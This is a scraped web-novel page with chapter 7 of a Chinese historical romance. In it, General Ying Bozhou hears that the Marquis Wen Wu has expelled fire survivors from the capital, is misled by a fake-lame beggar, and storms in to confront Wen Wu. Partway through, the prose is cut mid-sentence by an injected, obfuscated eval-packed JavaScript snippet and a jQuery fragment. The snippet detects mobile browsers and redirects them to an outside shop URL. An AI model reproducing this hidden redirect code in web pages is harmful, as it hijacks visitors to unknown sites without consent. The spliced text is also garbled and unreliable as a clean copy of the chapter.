默认冷灰
24号文字
方正启体

7. 争吵

作者:知霁本书字数:K更新时间:
    “爷,侯爷回了侯府,属下怕被发现,没敢跟进去。”


    将军府书房,一名暗卫单膝跪下,正汇报温邬行踪。


    应泊舟这会儿却有些心不在焉,他坐在书案后,手里捏着那枚珊瑚雕刻的小猫吊坠,指腹慢慢蹭着边缘。


    自打在宫中生出的那点不自在之后,他心中便觉着不大对劲。


    暗卫跪着等了半晌,没听见自家主子的吩咐,又不敢去看应泊舟,只得疑惑地看了应泊舟身旁的唐青一眼。


    “咳。”唐青抽了抽唇角,清咳一声。


    “知道了。”


    应泊舟嘴唇抿成了一条直线,食指下意识戳了戳小猫的鼻子,皱眉问道,


    “他离宫后还做了什么?”


    那暗卫这才继续道:“侯爷派人去了百卉集。”


    应泊舟摩挲吊坠的手指停住,抬眼:“百卉集?他去那儿做什么?”


    前几日他去过百卉集。


    那边巷子挤着不少在那场大火后没了着落的人,摆些半死不活的花草眼神空茫茫的。


    他私下已经让人去打听城外几个庄子要不要人手,光是米钱接济解决不了问题,琢磨着给这些人找个能长远吃饭的营生,总得给他们一条活路。


    按理说这些人碍不着温邬的事,也没什么能查出来的线索,他怎么想起来去那里?


    “属下不知。温邬在那边碰见了礼部郎中刘涿,请他用了顿午膳。”暗卫道。


    应泊舟眉头皱了起来。


    温邬被栽赃纵火杀人的事还没有着落,转头就去灾民扎堆的地方,这举动透着古怪。


    他拿起书案边的一个精致的小木盒,将吊坠放在里面,道:“找人刘三石铺子那边,盯紧了,别出岔子。你再去跟着温邬的人,查探仔细。”


    “是!”暗卫应声,转身便走。


    “将军,可要我去查看一番?”唐青才开口问道。


    “不用。”应泊舟盯着装吊坠的木盒半晌,最后索性拿出一本兵书看。


    书房内安静了足足有一个时辰。


    唐青扫了眼窗外的天色,又看向那木盒,斟酌道:“其实从侯爷与传闻中有些不同,若真如传闻那般,昨日在将军府门前便不会如此轻易放过,也不会将晕在巷子里的将军带回来,更何况小太子……”


    “唐青。”应泊舟沉声道。


    唐青立刻垂头:“属下失言。”


    “我们与他是敌人,他那般不过是为了他的计划逢场做戏罢了。”


    应泊舟将兵书合上,“你去看看也好,当心温邬在谋划什么阴谋。”


    “是。”唐青领命。


    “等等。”应泊舟叫住他,整张脸险些皱成了抹布,过了半晌,才将盒子递给他,“你先去找几个人,去市面上悄悄问问,有没有手艺特别好的师傅,能雕刻这种纹路的,找到人带来见我,重金答谢。”


    唐青点头记下,正要退出去——


    忽然外面传来一阵急促的脚步声。


    “不好了将军,百卉集的人都被侯爷的人赶出京城了。”


    “什么!”应泊舟猛地抬头,拍案而起。


    应泊舟亲自赶到百卉集时,那里已是一片萧条狼藉。地上的花草和零散摊位,都被践踏得不成样子,让本就死气沉沉的地方变得更加没有生气。


    他没说话,薄唇抿得发白,下颌绷得极紧,眼神扫过这片废墟。


    他死死咬着牙,转身翻身上马,狠狠一夹马腹,朝着城外方向疾驰而去。


    然而还是晚了一步。


    城外官道旁,只剩下杂乱无章的车辙印,百卉集那些人,已经被温邬的人押着走远了。


    而就在他几乎要不管不顾下令让亲兵沿路追上去时,官道旁的土沟里,忽然连滚带爬冲出来一个人,一个瘸腿的男人。


    *


    瘸子在百卉集附近的街道上趴了大半辈子,见过太多肥羊打马而过。


    今儿从百卉集出来的这趟车,他老远就盯上了。


    十来辆大车,载着人,还配了押送的。那阵仗,一看就是官府或者哪个大户大量迁人,他本没在意,百卉集的人还没他过得好,去哪也和他没什么干系,可车队经过他跟前时,风掀开一角车帘,他瞅见里头坐着个年轻公子。


    衣裳料子,那叫一个好。


    靛青的袍子,领口袖口绣着银丝暗纹,太阳底下一晃,亮得他眼睛疼。他就着土沟里水抹了把脸,一瘸一拐地往车队前头扑。


    “青天大老爷,也可怜可怜我这废人吧!”


    他喊得凄厉,是他练了十几年的调子,专门对付这些城里那些同情心泛滥的富人。


    车队果然停了。


    他跪在土里,眼泪说来就来,拿袖子糊了满脸的泥,把自己那瘸腿往前伸了伸,膝行着往前爬。他能感觉赶马车的人对那小公子说了什么,果不其然,他很快被请上马车。


    马车上全是他见过的难民,他们个个抱着包袱,想来是大火之中抢出来的最后的家当,不知能值多少银子。


    他暗自舔了舔嘴唇,琢磨着偷摸拿走那些家当,再向那小公子讨到银子后,找个机会溜走,他可不敢一直留在这,万一露馅了可不好。


    然而就在马车使过城门时,忽然停下了,那小公子上了他这辆车,脚步落在离他不远的地方,轻轻的,靴子很干净。


    “你是百卉集的人?”


    那小公子开口了,声音很是清亮,瘸子抬头看去,一眼却见着他手中拿着的名簿。


    那名簿上可没他的名字。


    瘸子心里一跳,但嘴没停:“是是是,我就是百卉集的,他们都认识我,我就在街口那个破屋里住,这些天全靠街坊接济……”


    “哦?你确定?”


    声音带了点雀跃,却让瘸子没来由地脊背一僵。


    他抬头,对上那小公子的眼睛。年轻,长得也好,可那双眼睛看人的时候,像是把什么都看透了,正等着他往下演。


    他被看破了。


    “扔下去。”


    就三个字。


    瘸子还没反应过来,后脖领子一紧,整个人腾空而起,耳边风呼呼一刮,后背砸在地上,疼得眼前一黑。


    等他终于能撑起半个身子,车队已经走远了,只剩下一道道车辙印子,和扬起的尘土。


    他“呸”地吐出一口血沫子,恨得眼睛都红了。


    不就是想讨口饭吃?那公子爷穿得那么好,手指缝里漏一点都够他活半年,至于吗?至于吗!


    他拖着瘸腿往路边的枯草丛里挪,一边挪一边骂,把那小公子的祖宗十八代都骂了个遍。骂完了又疼,疼完了又骂,眼泪鼻涕糊了一脸,狼狈得像条死狗。


    正骂着,远处忽然传来急促的马蹄声。


    他抬头,眯着眼往官道那头看。


    一队人马疾驰而来,当先那人骑一匹高头大马,玄色大氅被风鼓得猎猎作响,眉眼冷厉,气势迫人。


    应泊舟。


    瘸子一眼就认出来了。


    这京城谁不认识应将军?打仗的,杀过人的,可偏偏是个菩萨心肠。


    瘸子的心猛地跳了一下,他低头看了看自己这条腿,多好的本钱。


    他几乎是连滚带爬地从土沟里扑出去,衣衫褴褛,蓬头垢面,一条腿瘸着,跑起来歪歪扭扭,脸上涕泪横流,直扑到应泊舟马前。


    “应将军!您可要给我们做主啊!”


    应泊舟忙勒紧缰绳:“何人在此?”


    “草民是百卉集的,刚才突然来了一群人把我们赶出城里,断了我们的活路。”他拍着大腿,哭得声嘶力竭,“我看不下去,说了几句公道话,就将我扔下了车,生生摔瘸了这条腿!”


    他哭天喊地的伸出那条腿,摔下马车时在地上擦了一下,血糊糊的,确实惨。


    “这是要捂上我们的嘴,逼死我们啊!”


    果真是温邬,他真派人将他们赶了出去。


    应泊舟听着他的哭诉,只觉得太阳穴突突直跳,厉声吼道:“将他带进城里好生安顿。”


    他猛地一提缰绳:“唐青带人跟我走,顺着车辙去追……”


    “追回来”三个字还没出口,那瘸腿男人却忽然哀嚎一声,哭得更凶,声音里满是绝望:“将军!追不得,追不得啊!”


    那公子爷可是认得他的,真追上了,一对质,他还怎么讨银子?


    男人仰起脏污的脸,涕泗横流:“追回来我们更活不成了。”


    应泊舟高高坐在马上,握着缰绳的手僵在那里,浑身的血液似乎在这一瞬间冷了下去。寒风灌进他的衣领,却比不上心底陡然升起的寒意。


    “您护得住我一个,护得住这所有人吗?他们现在都被带远了,谁知道路上会出什么事?您派人去追,万一惹急了那边,他们直接下黑手,这些人还能有命在吗?”


    “将军,您是好心,可这世道,这世道它不让好人活啊!”


    声声痛哭回响在耳边,应泊舟骑马行至定远侯府。


    他一把挥开侯府门前拦下他的温邬亲卫,沉着脸一言不发往里闯。


    “将军使不得!就算你与侯爷已经成婚,也不可擅闯侯府啊!”内院,侯府的管家急得大喊。


    “滚开!”


    他胸口那股蹿起的怒火越燃越烈,烧得他五脏六腑都在疼。


    此刻温邬刚从侯府密室出来,温载羽的遗物他已经看过无数遍,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261391|198042||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    次依旧一无所获。


    他有些头疼地揉了揉额角,打算更衣去歇息片刻。


    就在这时,外面忽然传来一片喧闹声。


    他皱了皱眉,正要出去查看——


    “嘭——!”


    伴随着下人的一声尖叫,应泊舟破门而入。


    “你为何要将百卉集的人赶走?”


    什么赶走?


    温邬眉头拧得更紧,他不明白应泊舟在发什么疯,但向来懒得跟应泊舟好好说话,这会儿更没心情:“本侯做事也要与你交代?”


    应泊舟走上前盯着温邬:


    “你何必如此赶尽杀绝?他们再受不起惊吓,有的人甚至病重垂危,你如此作为,他们如何活下去?”


    “赶尽杀绝?”温邬动作一顿,他忽然明白了应泊舟在说什么,脸一瞬间冷了。


    他又不由得回想起上午那吊坠来,嗤笑一声,起身往前走了两步,离应泊舟近了些,压低了声音,语气却更刺人,


    “我要是说,是看着那些人碍事呢?”


    应泊舟的脸色骤然沉了下去。


    温邬见他这样,脸上反倒露出点恶劣的笑意,像是破罐子破摔:“不信?你现在去百卉集那些人家里瞧瞧,看里面的东西还在不在?摊子都收了,家里自然也要一并清理,不给他们留念想。”


    “你——”应泊舟呼吸一滞。


    他看着温邬的眼睛,想分辨这话是真是假。


    “温邬。”他开口,声音沉得吓人,每个字都像是透着怒意。


    “那些百姓,家烧没了,亲人死了,刚在废墟里爬起来,拼了命想活下去。”应泊舟沉着脸,那是真正上过战场的人发怒的模样,没有歇斯底里,却能让人脊背发凉。


    温邬站在他对面,笑得张扬:“所以呢?”


    “他们是那场大火存活下来的人,本侯见着他们便会想起自己被栽赃,被满京城传有断袖之癖。如果不是那些流言,皇帝便不会借此赐婚,本侯也不会屈于你这将军府。”


    温邬倾身凑到应泊舟耳边,温热的呼吸拂过他颈侧的肌肤,轻笑道:


    “所以,本侯不会放过栽赃之人,更不会放过这些人。”


    应泊舟周身的气息骤然沉了下去,不见厉色,也没有抬手,只是静立在那里,极沉缓地问:“你说完了?”


    下一瞬,温邬只觉得手腕一紧,一股极大的,不容抗拒的力道猛地将他扯向一旁。


    后腰重重撞上坚硬的桌角,闷痛传来,他尚未缓过神,下颌已被手指狠狠扼住,那力道极重,逼得他不得不仰起头。


    应泊舟拇指指腹擦过他受伤的唇角,疼痛尖锐,温邬轻轻蹙了下眉,喉间却溢出一声意味不明的轻笑。


    他被迫迎上应泊舟近在咫尺的眼睛,那里面翻涌的怒意几乎要化为实质。


    温邬仿佛浑然不觉,被掐着下巴,吐字有些模糊,却依旧带着令人恼火的轻佻:


    “怎么?应将军这是要动家法?”他甚至还试图扯动嘴角,“还是说,光天化日就想行不轨之事?”


    “你早说啊,本侯昨晚便成全你,何至于大婚之夜分院歇息。”


    “住嘴。”应泊舟低声道。


    “温邬。”他道,“朝党之争,各为其主,你可以为了你的立场,为了你要追随的人,算计,厮杀,甚至不择手段,那都是为了各自的信仰,成败皆可不悔。”


    他再逼近一步。


    “但你若将手伸向那些无辜百姓,用他们的性命做筹码,用他们的苦难当垫脚石,温邬,那你这辈子,都别想再说一句问心无愧。”


    最后那四个字,他咬得极重,像一记重锤砸下。


    问心无愧。


    温邬脸上的笑意消失殆尽。


    “应泊舟,这就是我最讨厌你的地方。”


    温邬骤然沉肩撞入应泊舟怀中,右手直取喉咙,应泊舟被迫仰头松手,他一个旋身踹向他腹部,借力退至窗下。


    他擦了擦唇角,冷声道:“应大将军真是高风亮节,慈悲心肠。可惜啊,本侯就是个草菅人命的奸佞小人,手上沾的血怕是你想都想不到有多少。”


    “那些百姓是死是活,与本侯何干?”他吐出的每个字都淬着毒,“本侯就是要拿他们当棋子,应将军待如何?要为民除害吗?来,现在就可以动手。”


    房中安静一瞬。


    应泊舟睁大了眼睛,不可置信地看着他,不知过了多久,忽然不明所以地笑了声:“是了。”


    “是了,这才是你温邬。”


    他只觉得方才在将军府的烦恼全然消失。


    什么吊坠?什么太子?什么和传言有误?


    这人就不可能是个好人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)